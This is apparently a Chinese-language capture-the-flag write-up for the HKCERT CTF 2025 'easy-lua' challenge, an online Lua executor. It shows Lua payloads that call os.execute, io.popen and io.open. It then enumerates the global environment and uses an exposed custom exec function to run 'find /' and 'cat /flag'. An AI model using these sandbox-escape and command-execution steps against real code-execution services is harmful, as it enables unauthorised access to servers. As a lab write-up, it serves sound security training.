题目

题目来源:HKCERT CTF 2025(Qualifying Round) 國際組
题目名称:easy-lua
靶场网址:http://web-ee0662f019.challenge.xctf.org.cn:80/
题目描述: 在线 Lua 执行器,寻找 flag
解题步骤
1. 初始分析
这是一个在线 Lua 执行器,包含:
- 一个代码输入框
- 执行按钮和清除按钮
- 输出显示区域
网页的 JavaScript 代码显示,点击执行按钮后会向 /execute 接口发送 POST 请求,携带 Lua 代码作为 JSON 数据。
2. 尝试常规命令执行
尝试使用 os.execute
lua
os.execute("ls -la")
结果 :失败,错误信息显示 os 模块为 nil,说明 os 模块被禁用。
错误信息:
json
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'execute'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}

尝试使用 io.popen
lua
for line in io.popen(\"ls -la\"):lines() do print(line) end
结果 :失败,错误信息显示 io.popen 为 nil,说明 io 模块的 popen 方法被禁用。
错误信息:
json
{"output":"","error":"\u003cstring\u003e:1: attempt to index a non-table object(nil) with key 'popen'\nstack traceback:\n\t\u003cstring\u003e:1: in main chunk\n\t[G]: ?"}

尝试使用 io.open 读取文件
lua
local f = io.open("flag","r") if f then local c = f:read("*a") print(c) f:close() else print("File not found") end
结果 :失败,错误信息显示 io.open 为 nil,说明 io 模块的 open 方法也被禁用。
错误信息:
json
{"output":"","error":"\u003cstring>:1: attempt to index a non-table object(nil) with key 'open'\nstack traceback:\n\t\u003cstring>:1: in main chunk\n\t[G]: ?"}

3. 查看全局环境
为了了解可用的 Lua 函数,我执行了以下代码来查看全局环境中的所有变量和函数:
lua
for k,v in pairs(_G) do print(k, type(v)) end
结果:
package abel
_G tabel
_VERSION string
_GOPHER_LUA_VERSION string
rawset function
ntonumber function
type function
xpcall function
print function
select function
_printregs function
setfenv function
require function
getfenv function
getmetatable function
pcall function
rawequal function
tostring function
module function
newproxy function
dofile function
error function
load function
next function
rawget function
setmetatable function
unpack function
assert function
collectgarbage function
loadfile function
loadstring function
ipairs function
pairs function
table tabel
string tabel
math tabel
S3cr3t0sEx3cFunc function
getFileContent function
getFileList function

4. 发现自定义函数
从全局环境中,我发现了几个有趣的自定义函数:
S3cr3t0sEx3cFunc- 看起来像是可以执行系统命令的函数getFileContent- 可以读取文件内容getFileList- 可以获取文件列表
5. 使用 getFileList 查看文件
我首先使用 getFileList 函数查看当前目录下的文件:
lua
local files = getFileList() for i,file in ipairs(files) do print("File "..i..":") for k,v in pairs(file) do print(" "..k..": "..tostring(v)) end end
结果:
File 1:
name: .DS_Store
isdir: false
size: 6148
mode: -rw-r--r--
modtime: 2025-11-24 16:30:57 +0000 UTC
File 2:
name: g0_main_pr0gram_421585
isdir: false
size: 6525112
mode: -rwxr-xr-x
modtime: 2025-11-24 16:30:38 +0000 UTC
File 3:
name: index.html
isdir: false
size: 7257
mode: -rw-r--r--
modtime: 2025-12-09 07:37:41 +0000 UTC

6. 使用 S3cr3t0sEx3cFunc 执行命令
看到 S3cr3t0sEx3cFunc 这个函数名,我猜测它是一个可以执行系统命令的函数。我首先尝试使用它来查找 flag 文件:
-
函数名的构成分析:
S3cr3t- 是 "Secret"(秘密)的变形,用数字 3 替代了字母 e,这是常见的隐蔽命名方式0s- 是 "os"(操作系统 Operating System)的变形,用数字 0 替代了字母 oEx3c- 是 "Exec"(执行 Execute)的变形,用数字 3 替代了字母 eFunc- 是 "Function"(函数)的缩写
-
组合含义 :
整个函数名可以解读为 "Secret os Exec Function",也就是 "秘密的操作系统执行函数"。
-
上下文推断:
- 这是一个在线 Lua 执行器,核心功能就是执行代码
- 之前尝试的常规命令执行方法(
os.execute,io.popen等)都被禁用 - 系统通常会提供自定义函数来实现特定功能,尤其是在禁用了常规方法的情况下
基于以上分析,我猜测 S3cr3t0sEx3cFunc 是一个可以执行系统命令的自定义函数。我首先尝试使用它来查找 flag 文件:
lua
local result = S3cr3t0sEx3cFunc("find / -name flag 2>/dev/null") print(result)
结果:
/flag
找到了 flag 文件位于 /flag 路径!

7. 读取 flag 文件
最后,我使用 S3cr3t0sEx3cFunc 函数读取 flag 文件的内容:
lua
local result = S3cr3t0sEx3cFunc("cat /flag") print(result)
结果:
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}

最终 flag
成功获取到 flag:
flag{Jv2rvIN6PmsYGFC5HhZWNdl2OWoK8SSm}
解题思路总结
- 分析目标网站的功能和工作原理
- 尝试常规的 Lua 命令执行方法(os.execute, io.popen 等),发现被禁用
- 查看全局环境,发现自定义函数
- 利用自定义的
S3cr3t0sEx3cFunc函数执行系统命令 - 查找并读取 flag 文件
这个靶场的漏洞在于允许执行 Lua 代码,并且提供了一个名为 S3cr3t0sEx3cFunc 的自定义函数,该函数可以执行系统命令,导致了任意命令执行漏洞。